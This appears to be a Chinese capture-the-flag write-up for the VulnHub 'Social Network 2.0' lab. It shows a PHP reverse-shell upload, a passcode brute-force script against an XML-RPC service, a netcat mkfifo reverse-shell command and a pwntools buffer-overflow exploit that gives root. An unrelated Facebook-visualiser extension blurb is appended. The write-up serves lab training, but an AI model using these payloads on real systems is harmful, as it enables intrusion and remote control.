social network 2.0

下载地址

https://www.vulnhub.com/entry/boredhackerblog-social-network-20,455/

信息搜集

nmap

nmap 192.168.31.251 -p-

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt

80

8000

在网页中注册一个账号

在此处上传一个以 php 结尾的文件用于反弹shell

文件位置为 /usr/share/webshells/php/php-reverse-shell.php

得到上传的路径

www-data

在 kali 开启监听

访问 9.php 得到 shell

传输文件到 kali

socent

monitor.py 移动至 socent

#my remote server management API
import SimpleXMLRPCServer
import subprocess
import random

debugging_pass = random.randint(1000,9999)

def runcmd(cmd):
    results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = results.stdout.read() + results.stderr.read()
    return output

def cpu():
    return runcmd("cat /proc/cpuinfo")

def mem():
    return runcmd("free -m")

def disk():
    return runcmd("df -h")

def net():
    return runcmd("ip a")

def secure_cmd(cmd,passcode):
    if passcode==debugging_pass:
         return runcmd(cmd)
    else:
        return "Wrong passcode."

server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)

server.serve_forever()

根据以上服务端脚本内容,写出对服务端交互的脚本

➜  hard_socnet2 cat client.py 
from cgitb import reset
import re
from xmlrpclib import ServerProxy


s = ServerProxy("http://192.168.31.251:8000/")
result = s.net()
print(result)%                                                                                                           ➜  hard_socnet2 python2 client.py
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:61:30:92 brd ff:ff:ff:ff:ff:ff
    inet 192.168.31.251/24 brd 192.168.31.255 scope global dynamic ens33
       valid_lft 42834sec preferred_lft 42834sec
    inet6 fe80::20c:29ff:fe61:3092/64 scope link 
       valid_lft forever preferred_lft forever

测试发送数据成功

此时并不能任意执行命令,需要暴力破解随机数

from cgitb import reset
import re
from xmlrpclib import ServerProxy


for i in range(2000, 9999):
    s = ServerProxy("http://192.168.31.251:8000/")
    # result = s.secure_cmd("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.134 5124 >/tmp/f", i)
    result = s.secure_cmd("whoami", i)
    if "Wrong passcode." in result:
        pass
    else:
        print(result)
        print(i)
        break

得到结果

from cgitb import reset
import re
from xmlrpclib import ServerProxy

s = ServerProxy("http://192.168.31.251:8000/")
i = 3635
result = s.secure_cmd("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.134 5124 >/tmp/f", i)

得到 shell

add_record 调试

经过模糊测试

当第三次运行且第三问为 1 时

在第四问输出超长的数据会导致缓冲区溢出

ida 反编译

后门函数 地址

在 ubuntu 中调试,写脚本测试成功

exp

from pwn import *
context.log_level = 'debug'

io = process("./add_record")

payload = b'A' * 58 + b'B' * 4 + p32(0x08048676)

io.recvline()
io.send(b"test\n")
io.recvline()
io.sendline("1")
io.sendline("1443")
io.send(b"1\n")
io.sendline(payload)
io.interactive()

靶机中

python -c "import struct; print('test\n11\n11\n1\n' + 'A'*62 + struct.pack('I', 0x08048676))" > payload
cat payload - | ./add_record

ROOT

可视化你的facebook网络的隐藏结构。 更新:2.3.1:*修复了某些帐户仅显示前10个朋友的问题。 更新:2.3.0:*修复了Facebook和下载选项的问题。 扩展程序应重新工作。 *更改为财务服务器托管的付费扩展更新:2.2.7:*调整名称以解决商标问题更新:2.2.6:*修复了网络查看器的javascript错误更新:2.2.5:*修复了新的facebook用户界面的问题更新:2.2.2:*添加了Graphml导出(应与Gephi配合使用)更新:2.2.1:*修复了json导出问题。 更新:2.2.0:*单击节点立即打开用户的Facebook页面*确保您在Facebook中具有英语设置更新:2.1.9:*某些Facebook帐户已解决的问题*现在可以在数据存储时使用可视化和下载正在加载*添加了不包含用户图像的下载选项(减小了.json导出的文件大小)更新:2.1.8:*添加了主菜单中的下载按钮。 这样就可以下载大型网络,有些计算机只是为了缓慢浏览它们而无法看到它。 更新:2.1.7:*修复了对话框问题更新:2.1.6:*修复了主干功能,该功能不适用于某些用户。 ================= Lost Circles可以可视化并下载您的Facebook友谊网络。 一个由一百个或更多朋友组成的Facebook网络通常非常密集。 这是因为您的朋友通常是彼此的朋友,因此产生了大量的链接。 当可视化时,这样的网络看起来非常混乱,并且没有真实的结构:我们称其为毛球。 我们的应用程序可帮助您解开毛团,并在朋友之间显示隐藏的群组结构:您迷失的圈子。 我们通过确定链接的相对重要性来做到这一点,并让联系紧密的朋友更加紧密地联系在一起。 自己试试吧! 支持语言:English
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值